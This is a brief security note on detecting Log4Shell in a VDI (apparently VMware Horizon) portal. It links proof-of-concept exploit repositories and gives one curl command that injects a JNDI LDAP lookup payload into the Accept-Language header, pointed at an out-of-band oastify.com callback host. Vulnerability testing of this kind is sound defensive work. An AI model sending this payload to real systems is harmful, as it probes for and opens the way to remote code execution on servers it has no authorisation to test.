https://github.com/kozmer/log4j-shell-poc
https://www.sprocketsecurity.com/resources/crossing-the-log4j-horizon-a-vulnerability-with-no-return
https://github.com/puzzlepeaches/Log4jHorizon
Check with DNSLog:
$ curl -vvk https://vdi.exmaple.com/portal/info.jsp -H 'Accept-Language: ${jndi:ldap://zcf4r9z7oxec13t7fu1k14n0vr1ip8dx.oastify.com:1337/test}'
Last updated 1 year ago